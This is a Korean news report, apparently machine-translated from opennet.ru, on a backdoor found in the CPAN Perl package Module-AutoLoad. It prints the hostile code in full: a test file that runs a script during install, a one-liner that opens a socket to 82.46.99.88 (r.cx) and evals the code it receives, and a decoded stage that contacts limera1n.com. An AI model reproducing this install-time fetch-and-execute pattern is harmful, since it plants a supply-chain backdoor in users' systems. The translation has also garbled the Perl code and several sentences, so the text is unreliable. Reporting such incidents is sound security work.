Module-AutoLoad Perl ํŒจํ‚ค์ง€์—์„œ ์•…์„ฑ์ฝ”๋“œ ๋ฐœ๊ฒฌ

CPAN ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ํ†ตํ•ด ๋ฐฐํฌ๋˜๋Š” Perl ํŒจํ‚ค์ง€ ๋ชจ๋“ˆ-์ž๋™ ๋กœ๋“œ, ์ฆ‰์„์—์„œ CPAN ๋ชจ๋“ˆ์„ ์ž๋™์œผ๋กœ ๋กœ๋“œํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์‹๋ณ„ ์•…์„ฑ์ฝ”๋“œ. ์•…์˜์ ์ธ ์‚ฝ์ž…์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๋…น์ด๋‹ค ํ…Œ์ŠคํŠธ ์ฝ”๋“œ์—์„œ 05_rcx.t, 2011๋…„๋ถ€ํ„ฐ ๋ฐฐ์†ก๋˜์–ด ์™”์Šต๋‹ˆ๋‹ค.
์˜์‹ฌ์Šค๋Ÿฌ์šด ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์— ๋Œ€ํ•œ ์งˆ๋ฌธ์ด ๋ฐœ์ƒํ•œ ๊ฒƒ์€ ์ฃผ๋ชฉํ•  ๋งŒํ•ฉ๋‹ˆ๋‹ค. ์œ ๋ž˜ 2016๋…„์— ๋‹ค์‹œ.

์•…์„ฑ ํ™œ๋™์€ ๋ชจ๋“ˆ ์„ค์น˜ ์‹œ ์‹œ์ž‘๋œ ํ…Œ์ŠคํŠธ ์Šค์œ„ํŠธ ์‹คํ–‰ ์ค‘์— ํƒ€์‚ฌ ์„œ๋ฒ„(http://r.cx:1/)์—์„œ ์ฝ”๋“œ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•˜๋ ค๋Š” ์‹œ๋„๋กœ ์š”์•ฝ๋ฉ๋‹ˆ๋‹ค. ์ฒ˜์Œ์— ์™ธ๋ถ€ ์„œ๋ฒ„์—์„œ ๋‹ค์šด๋กœ๋“œํ•œ ์ฝ”๋“œ๋Š” ์•…์„ฑ์ด ์•„๋‹Œ ๊ฒƒ์œผ๋กœ ๊ฐ€์ •ํ•˜์ง€๋งŒ ์ด์ œ ์š”์ฒญ์€ ์‹คํ–‰์„ ์œ„ํ•œ ์ฝ”๋“œ ๋ถ€๋ถ„์„ ์ œ๊ณตํ•˜๋Š” ww.limera1n.com ๋„๋ฉ”์ธ์œผ๋กœ ๋ฆฌ๋””๋ ‰์…˜๋ฉ๋‹ˆ๋‹ค.

๋‹ค์šด๋กœ๋“œ๋ฅผ ํŒŒ์ผ๋กœ ๊ตฌ์„ฑํ•˜๋ ค๋ฉด 05_rcx.t ๋‹ค์Œ ์ฝ”๋“œ๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

๋‚ด $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
๋‚ด $try = `$^X $prog`;

์ง€์ •๋œ ์ฝ”๋“œ๋กœ ์ธํ•ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ../contrib/RCX.pl, ๊ทธ ๋‚ด์šฉ์€ ๋‹ค์Œ ์ค„๋กœ ์ถ•์†Œ๋ฉ๋‹ˆ๋‹ค.

lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1โ€ณ}; ์‚ฌ์šฉ

์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ํ˜ผ๋ž€์Šค๋Ÿฌ์šด ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•˜๋‹ค perlobfuscator.com ์™ธ๋ถ€ ํ˜ธ์ŠคํŠธ r.cx(๋ฌธ์ž ์ฝ”๋“œ 82.46.99.88์€ ํ…์ŠคํŠธ "R.cX"์— ํ•ด๋‹น)์˜ ์ฝ”๋“œ๋ฅผ ๊ฐ€์ ธ์™€ eval ๋ธ”๋ก์—์„œ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1โ€ณ; ์ธ์‡„ <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DEโ€ฆ.}

์••์ถ•์„ ํ’€๋ฉด ์ตœ์ข…์ ์œผ๋กœ ๋‹ค์Œ์ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์•”ํ˜ธ:

print{$b=new IO::Socket::INET"ww.limera1n.com:80โ€ณ}"GET /iJailBreak
";ํ‰๊ฐ€์ž๋Š” ๊ฒฝ๊ณ $@while$b;1์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

์ด์ œ ๋ฌธ์ œ๊ฐ€ ์žˆ๋Š” ํŒจํ‚ค์ง€๊ฐ€ ์ €์žฅ์†Œ์—์„œ ์ œ๊ฑฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. PAUSE (Perl Authors Upload Server) ๋ฐ ๋ชจ๋“ˆ ์ž‘์„ฑ์ž์˜ ๊ณ„์ •์ด ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ๋ชจ๋“ˆ์€ ์—ฌ์ „ํžˆ โ€‹โ€‹๋‚จ์•„ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉํ•  ์ˆ˜์žˆ๋‹ค. MetaCPAN ์•„์นด์ด๋ธŒ์— ์žˆ์œผ๋ฉฐ cpanminus์™€ ๊ฐ™์€ ์ผ๋ถ€ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ MetaCPAN์—์„œ ์ง์ ‘ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ช…์‹œ๋˜์–ด์žˆ๋‹คํŒจํ‚ค์ง€๊ฐ€ ๋„๋ฆฌ ๋ฐฐํฌ๋˜์ง€ ์•Š์•˜๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

ํ† ๋ก ํ•˜๊ธฐ์— ํฅ๋ฏธ๋กญ๋‹ค ์—ฐ๊ฒฐ๋จ ๊ทธ๋ฆฌ๊ณ  ๋ชจ๋“ˆ ์ž‘์„ฑ์ž๋Š” ์ž์‹ ์˜ ์‚ฌ์ดํŠธ "r.cx"๊ฐ€ ํ•ดํ‚น๋œ ํ›„ ์•…์„ฑ ์ฝ”๋“œ๊ฐ€ ์‚ฝ์ž…๋˜์—ˆ๋‹ค๋Š” ์ •๋ณด๋ฅผ ๋ถ€์ธํ•˜๊ณ  ๋‹จ์ง€ ์žฌ๋ฏธ๋กœ ๋ณธ ๊ฒƒ ๋ฟ์ด๋ผ๊ณ  ์„ค๋ช…ํ–ˆ์œผ๋ฉฐ, ๋ฌด์–ธ๊ฐ€๋ฅผ ์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด๊ฐ€ ์•„๋‹ˆ๋ผ ํฌ๊ธฐ๋ฅผ ์ค„์ด๊ธฐ ์œ„ํ•ด perlobfuscator.com์„ ์‚ฌ์šฉํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ํด๋ฆฝ๋ณด๋“œ๋ฅผ ํ†ตํ•ด ๋ณต์‚ฌ๋ฅผ ๋‹จ์ˆœํ™”ํ•ฉ๋‹ˆ๋‹ค. ํ•จ์ˆ˜ ์ด๋ฆ„ "botstrap"์„ ์„ ํƒํ•œ ์ด์œ ๋Š” ์ด ๋‹จ์–ด๊ฐ€ "bot์ฒ˜๋Ÿผ ๋“ค๋ฆฌ๊ณ  bootstrap๋ณด๋‹ค ์งง๋‹ค"๋Š” ์‚ฌ์‹ค ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ๋ชจ๋“ˆ ์ž‘์„ฑ์ž๋Š” ์‹๋ณ„๋œ ์กฐ์ž‘์ด ์•…์˜์ ์ธ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š๊ณ  TCP๋ฅผ ํ†ตํ•œ ์ฝ”๋“œ ๋กœ๋“œ ๋ฐ ์‹คํ–‰๋งŒ์„ ๋ณด์—ฌ ์ค€๋‹ค๊ณ  ํ™•์‹ ํ–ˆ์Šต๋‹ˆ๋‹ค.

์ถœ์ฒ˜ : opennet.ru

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€